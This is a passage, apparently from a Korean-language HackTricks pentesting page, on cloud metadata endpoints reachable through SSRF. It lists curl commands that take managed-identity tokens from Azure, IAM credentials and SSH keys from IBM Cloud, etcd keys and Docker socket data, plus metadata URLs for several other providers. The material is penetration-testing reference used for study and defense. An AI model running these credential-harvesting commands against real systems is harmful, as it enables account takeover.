  • ν…Œλ„ŒνŠΈμ— μ •μ˜λœ λͺ¨λ“  관리 IDλ₯Ό κ°€μ Έμ˜€κ³  VM에 μ—°κ²°λœ 것이 μžˆλŠ”μ§€ 브루트 포슀둜 ν™•μΈν•˜κΈ°:
az identity list

Caution

토큰 μš”μ²­ μ‹œ object_id, client_id λ˜λŠ” msi_res_id 쀑 ν•˜λ‚˜μ˜ λ§€κ°œλ³€μˆ˜λ₯Ό μ‚¬μš©ν•˜μ—¬ μ‚¬μš©ν•˜λ €λŠ” 관리 IDλ₯Ό μ§€μ •ν•˜μ‹­μ‹œμ˜€ (docs). μ§€μ •ν•˜μ§€ μ•ŠμœΌλ©΄ κΈ°λ³Έ MIκ°€ μ‚¬μš©λ©λ‹ˆλ‹€.

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

Warning

http://169.254.169.254/metadata/v1/instanceinfo μ—”λ“œν¬μΈνŠΈλŠ” Metadata: True 헀더λ₯Ό μš”κ΅¬ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. μ΄λŠ” Azureμ—μ„œ 이 헀더λ₯Ό μΆ”κ°€ν•  수 μ—†λŠ” SSRF μ·¨μ•½μ μ˜ 영ν–₯을 λ³΄μ—¬μ£ΌλŠ” 데 μœ μš©ν•©λ‹ˆλ‹€.

Azure μ•± 및 ν•¨μˆ˜ μ„œλΉ„μŠ€ 및 μžλ™ν™” 계정

envμ—μ„œ IDENTITY_HEADER 및 **IDENTITY_ENDPOINT**의 값을 κ°€μ Έμ˜¬ 수 μžˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό μ‚¬μš©ν•˜μ—¬ 메타데이터 μ„œλ²„μ™€ 톡신할 토큰을 μˆ˜μ§‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

λŒ€λΆ€λΆ„μ˜ 경우, λ‹€μŒ λ¦¬μ†ŒμŠ€ 쀑 ν•˜λ‚˜μ— λŒ€ν•œ 토큰이 ν•„μš”ν•©λ‹ˆλ‹€:

Caution

토큰 μš”μ²­ μ‹œ object_id, client_id λ˜λŠ” msi_res_id λ§€κ°œλ³€μˆ˜ 쀑 ν•˜λ‚˜λ₯Ό μ‚¬μš©ν•˜μ—¬ μ‚¬μš©ν•˜λ €λŠ” 관리 IDλ₯Ό μ§€μ •ν•˜μ‹­μ‹œμ˜€ (docs). μ§€μ •ν•˜μ§€ μ•ŠμœΌλ©΄ κΈ°λ³Έ MIκ°€ μ‚¬μš©λ©λ‹ˆλ‹€.

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

IBM Cloud

Warning

IBMμ—μ„œλŠ” 기본적으둜 메타데이터가 ν™œμ„±ν™”λ˜μ–΄ μžˆμ§€ μ•ŠμœΌλ―€λ‘œ, IBM ν΄λΌμš°λ“œ VM 내에 μžˆλ”λΌλ„ μ ‘κ·Όν•  수 없을 수 μžˆμŠ΅λ‹ˆλ‹€.

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

λ‹€μ–‘ν•œ ν”Œλž«νΌμ˜ 메타데이터 μ„œλΉ„μŠ€μ— λŒ€ν•œ λ¬Έμ„œκ°€ μ•„λž˜μ— μ„€λͺ…λ˜μ–΄ 있으며, μΈμŠ€ν„΄μŠ€μ˜ ꡬ성 및 λŸ°νƒ€μž„ 정보λ₯Ό μ ‘κ·Όν•  수 μžˆλŠ” 방법을 κ°•μ‘°ν•©λ‹ˆλ‹€. 각 ν”Œλž«νΌμ€ κ³ μœ ν•œ μ—”λ“œν¬μΈνŠΈλ₯Ό μ œκ³΅ν•˜μ—¬ 메타데이터 μ„œλΉ„μŠ€μ— μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Packetcloud

Packetcloud의 메타데이터에 μ ‘κ·Όν•˜κΈ° μœ„ν•œ λ¬Έμ„œλŠ” λ‹€μŒμ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€: https://metadata.packet.net/userdata

OpenStack/RackSpace

ν—€λ”μ˜ ν•„μš”μ„±μ€ μ–ΈκΈ‰λ˜μ§€ μ•Šμ•˜μŠ΅λ‹ˆλ‹€. λ©”νƒ€λ°μ΄ν„°λŠ” λ‹€μŒμ„ 톡해 μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  • http://169.254.169.254/openstack

HP Helion

μ—¬κΈ°μ—μ„œλ„ ν—€λ”μ˜ ν•„μš”μ„±μ€ μ–ΈκΈ‰λ˜μ§€ μ•Šμ•˜μŠ΅λ‹ˆλ‹€. λ©”νƒ€λ°μ΄ν„°λŠ” λ‹€μŒμ—μ„œ μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle CloudλŠ” λ‹€μ–‘ν•œ 메타데이터 츑면에 μ ‘κ·Όν•˜κΈ° μœ„ν•œ 일련의 μ—”λ“œν¬μΈνŠΈλ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€:

  • http://192.0.0.192/latest/
  • http://192.0.0.192/latest/user-data/
  • http://192.0.0.192/latest/meta-data/
  • http://192.0.0.192/latest/attributes/

Alibaba

AlibabaλŠ” μΈμŠ€ν„΄μŠ€ 및 이미지 IDλ₯Ό ν¬ν•¨ν•œ 메타데이터에 μ ‘κ·Όν•˜κΈ° μœ„ν•œ μ—”λ“œν¬μΈνŠΈλ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€:

  • http://100.100.100.200/latest/meta-data/
  • http://100.100.100.200/latest/meta-data/instance-id
  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCDλŠ” API ν‚€, λ‚΄λΆ€ IP μ£Όμ†Œ 및 포트λ₯Ό λ³΄μœ ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ ‘κ·Ό 방법은 λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

  • curl -L http://127.0.0.1:2379/version
  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Docker λ©”νƒ€λ°μ΄ν„°λŠ” λ‘œμ»¬μ—μ„œ μ ‘κ·Όν•  수 있으며, μ»¨ν…Œμ΄λ„ˆ 및 이미지 정보 검색을 μœ„ν•œ μ˜ˆμ œκ°€ μ œκ³΅λ©λ‹ˆλ‹€:

  • Docker μ†ŒμΌ“μ„ 톡해 μ»¨ν…Œμ΄λ„ˆ 및 이미지 메타데이터에 μ ‘κ·Όν•˜λŠ” κ°„λ‹¨ν•œ 예:
  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
  • μ»¨ν…Œμ΄λ„ˆ λ‚΄λΆ€μ—μ„œ Docker μ†ŒμΌ“μ„ μ‚¬μš©ν•˜μ—¬ curl을 μ‚¬μš©ν•©λ‹ˆλ‹€:
  • curl --unix-socket /var/run/docker.sock http://foo/containers/json
  • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Rancher의 λ©”νƒ€λ°μ΄ν„°λŠ” λ‹€μŒμ„ μ‚¬μš©ν•˜μ—¬ μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  • curl http://rancher-metadata/<version>/<path>

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°